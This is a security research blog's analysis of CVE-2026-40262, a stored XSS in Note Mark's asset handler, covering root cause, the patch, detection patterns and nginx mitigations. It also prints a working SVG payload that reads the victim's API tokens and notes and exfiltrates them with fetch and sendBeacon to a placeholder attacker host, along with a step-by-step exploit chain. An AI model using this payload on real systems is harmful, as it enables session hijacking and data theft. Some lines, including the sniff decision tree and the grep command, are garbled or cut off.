home intel cve-2026-40262-note-mark-stored-xss-rce
CVE Analysis 2026-04-17 · 8 min read

CVE-2026-40262: Note Mark Asset Handler Stored XSS via MIME Sniffing

Note Mark's asset delivery handler serves uploaded files inline with no Content-Type or nosniff header, enabling stored XSS via SVG/HTML upload that executes under the app's origin.

#content-type-bypass#xss#file-upload#authentication-required#browser-sniffing
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40262 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40262Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40262 is a stored cross-site scripting vulnerability in Note Mark ≤ 0.19.1 that achieves authenticated-to-unauthenticated session hijack and full API takeover. The attack surface is the asset upload and delivery pipeline: a user uploads an HTML or SVG file containing arbitrary JavaScript, and any authenticated victim who navigates to the asset URL executes that script under note-mark's origin. CVSS 8.7 (HIGH) reflects the combination of no user interaction beyond clicking a link and full access to the victim's session token and API capabilities.

The vulnerability is not a sanitization failure in a rich-text editor. It is a server-side content delivery misconfiguration: the handler relies exclusively on libmagic-style magic-byte detection to infer MIME type, which is wholly blind to text-based formats. HTML and SVG carry no distinguishing binary signature in their first bytes, so the handler emits an empty Content-Type response header. Combined with the absence of X-Content-Type-Options: nosniff and a disposition of inline, every major browser will sniff the content and render it as text/html or image/svg+xml.

Root cause: The asset delivery route uses magic-byte MIME detection and emits no Content-Type or X-Content-Type-Options header for text-based file formats, allowing browsers to sniff and render uploaded HTML and SVG payloads as active content under the application's origin.

Affected Component

The vulnerable component is the asset serving handler in Note Mark's Python/FastAPI backend, routed at approximately GET /api/books/{book_id}/notes/{note_id}/assets/{filename}. The handler reads the uploaded binary from storage, probes the first N bytes with a magic library, and streams the raw file to the client. No extension-based override, no allowlist, no disposition forcing for non-image types.

Affected version: 0.19.1 and prior. Fixed in 0.19.2.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable asset handler logic from the pre-patch codebase:


# note_mark/routers/assets.py  (≤ 0.19.1, reconstructed)

import magic  # python-magic / libmagic binding

@router.get("/{filename}")
async def get_asset(
    filename: str,
    note_id: UUID,
    book_id: UUID,
    current_user: User = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    asset_path = storage.get_asset_path(book_id, note_id, filename)

    if not asset_path.exists():
        raise HTTPException(status_code=404)

    # BUG: magic.from_file() reads binary signatures only.
    # HTML/SVG files have no magic bytes; returns None or "text/plain"
    # and frequently falls back to an empty string on ambiguous input.
    mime_type = magic.from_file(str(asset_path), mime=True)

    # BUG: mime_type is empty/None for HTML and SVG — no fallback,
    # no extension check, header is emitted as Content-Type: (empty).
    return FileResponse(
        path=asset_path,
        media_type=mime_type,       # empty string → browser sniffs
        filename=filename,
        # BUG: no content_disposition_type="attachment" override
        # BUG: no X-Content-Type-Options: nosniff header added
    )

FastAPI's FileResponse with an empty media_type emits the header as Content-Type: (present but empty), which is functionally equivalent to omitting it. Chromium's MIME sniffing algorithm (WHATWG MIME Sniff §7) will scan the first 512 bytes of the response body for an HTML or XML signature and render accordingly.

SVG is particularly reliable because it is valid XML and renders JavaScript in <script> tags or event handlers (onload) even when served with Content-Type: image/svg+xml, let alone an empty one.

Exploitation Mechanics

The following payload files are sufficient. No encoding, no polyglot tricks required at this severity level.


# payload.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="pwn()">
  <script>
    function pwn() {
      // Executes under note-mark's origin.
      // Session cookie is HttpOnly? Hit the API directly — we're same-origin.
      fetch('/api/users/me/tokens', {credentials: 'include'})
        .then(r => r.json())
        .then(d => fetch('https://attacker.tld/x?t=' + JSON.stringify(d)));

      // Or: create a backdoor admin note, exfil all notes, etc.
      fetch('/api/books', {credentials: 'include'})
        .then(r => r.json())
        .then(books => {
          books.forEach(b =>
            fetch(`/api/books/${b.id}/notes`, {credentials:'include'})
              .then(r => r.json())
              .then(notes => exfil(b.id, notes))
          );
        });
    }
    function exfil(bid, data) {
      navigator.sendBeacon('https://attacker.tld/collect',
        JSON.stringify({book: bid, notes: data}));
    }
  </script>
</svg>

EXPLOIT CHAIN:
1. Attacker authenticates to Note Mark with any valid account
2. Creates a book and note (or targets an existing shared note)
3. Uploads payload.svg via POST /api/books/{bid}/notes/{nid}/assets/
   — Server accepts file, stores it, returns 200 with asset URL
4. Attacker shares the asset URL with victim (or embeds in note body
   as a Markdown image reference, which auto-navigates on render)
5. Victim (authenticated) navigates to:
   GET /api/books/{bid}/notes/{nid}/assets/payload.svg
6. Server responds:
     HTTP/1.1 200 OK
     Content-Type:                        ← empty
     Content-Disposition: inline          ← not attachment
     (X-Content-Type-Options absent)      ← no sniff protection
7. Browser sniffs first 512 bytes, detects XML/SVG signature
8. Browser renders SVG as active document under note-mark's origin
9. onload fires, pwn() executes with victim's session credentials
10. Attacker receives exfiltrated API tokens / note contents OOB
    via navigator.sendBeacon to attacker-controlled endpoint

Memory Layout

This is not a memory corruption vulnerability, but the HTTP response layout is worth documenting precisely because the bug lives in what is absent from the headers:


VULNERABLE RESPONSE (≤ 0.19.1):
┌─────────────────────────────────────────────────────────┐
│ HTTP/1.1 200 OK                                         │
│ Content-Length: 512                                     │
│ Content-Type:                          ← EMPTY / ABSENT │
│ Content-Disposition: inline            ← INLINE         │
│                                        ← nosniff ABSENT │
│                                                         │
│ ...          │
│                          ↑                              │
│                 Browser sniff triggers here             │
│                 MIME resolved: image/svg+xml            │
│                 Active content rendered in origin ctx   │
└─────────────────────────────────────────────────────────┘

BROWSER SNIFF DECISION TREE (Chromium, WHATWG §7):
  Content-Type empty?           → YES → enter sniffing
  First bytes match XML sig?    → YES (?           → YES
  Resolved MIME: image/svg+xml
  Active content allowed?       → YES (no nosniff, inline disposition)
  Script execution context:     → note-mark's origin
  Cookie access:                → full (same-origin, session cookies)
  API access:                   → full (credentials: 'include' works)

Patch Analysis

The fix shipped in v0.19.2 addresses all three missing controls simultaneously:


# BEFORE (≤ 0.19.1) — vulnerable:
mime_type = magic.from_file(str(asset_path), mime=True)
return FileResponse(
    path=asset_path,
    media_type=mime_type,   # empty for HTML/SVG
    filename=filename,
    # no Content-Disposition override
    # no security headers
)

# AFTER (0.19.2) — patched:
import mimetypes

SAFE_INLINE_TYPES = frozenset({
    "image/png", "image/jpeg", "image/gif",
    "image/webp", "application/pdf",
})

mime_type = magic.from_file(str(asset_path), mime=True)

# Layer 1: extension-based fallback catches text formats magic misses
if not mime_type or mime_type == "application/octet-stream":
    mime_type, _ = mimetypes.guess_type(filename)
    mime_type = mime_type or "application/octet-stream"

# Layer 2: force download disposition for any non-explicitly-safe type
disposition = "inline" if mime_type in SAFE_INLINE_TYPES else "attachment"

response = FileResponse(
    path=asset_path,
    media_type=mime_type,
    filename=filename,
    content_disposition_type=disposition,
)
# Layer 3: prevent browser sniffing unconditionally
response.headers["X-Content-Type-Options"] = "nosniff"
return response

The defense is a layered allowlist approach: magic detection is retained as a first pass, extension-based mimetypes.guess_type() catches text formats that magic cannot fingerprint, and X-Content-Type-Options: nosniff is emitted unconditionally. Any type not in the explicit safe-inline set is forced to attachment, preventing inline rendering even if the MIME is somehow correct.

Detection and Indicators

If you operate a Note Mark instance and need to assess prior compromise, the following signatures apply:


ACCESS LOG PATTERN (suspicious asset uploads):
  POST /api/books/.*/notes/.*/assets/ HTTP/1.1  →  200
  filename: *.svg, *.html, *.htm, *.xhtml, *.xml

ASSET DELIVERY WITHOUT nosniff:
  GET  /api/books/.*/notes/.*/assets/*.svg       →  200
  Response missing: X-Content-Type-Options header

OUTBOUND EXFILTRATION INDICATOR:
  navigator.sendBeacon or fetch() to external host
  appearing in browser network logs from note-mark origin

SERVER-SIDE: grep asset storage directory for active content:
  find ./assets -name "*.svg" -exec grep -l "

Remediation

Immediate: Upgrade to Note Mark 0.19.2. The patch is a drop-in release with no schema migrations required.

If upgrade is not immediately possible:

  • Configure your reverse proxy (nginx/Caddy) to inject X-Content-Type-Options: nosniff on all /api/ responses as a stopgap.
  • Set Content-Disposition: attachment for all asset routes at the proxy layer.
  • Audit existing uploaded assets for SVG/HTML content using the grep pattern above and remove any suspicious files.
  • Consider a Content-Security-Policy header scoped to disallow inline script if your deployment allows it — this would have mitigated execution even without the other fixes.

Nginx stopgap:


# nginx.conf — add to server block handling note-mark upstream
location ~* ^/api/books/.*/assets/ {
    proxy_pass http://note-mark-backend;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Content-Disposition "attachment" always;
}

Note that add_header with always is required in nginx to inject headers on non-2xx responses as well; omitting always leaves error pages unprotected. This is a mitigation only — upgrade to 0.19.2 as the authoritative fix.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →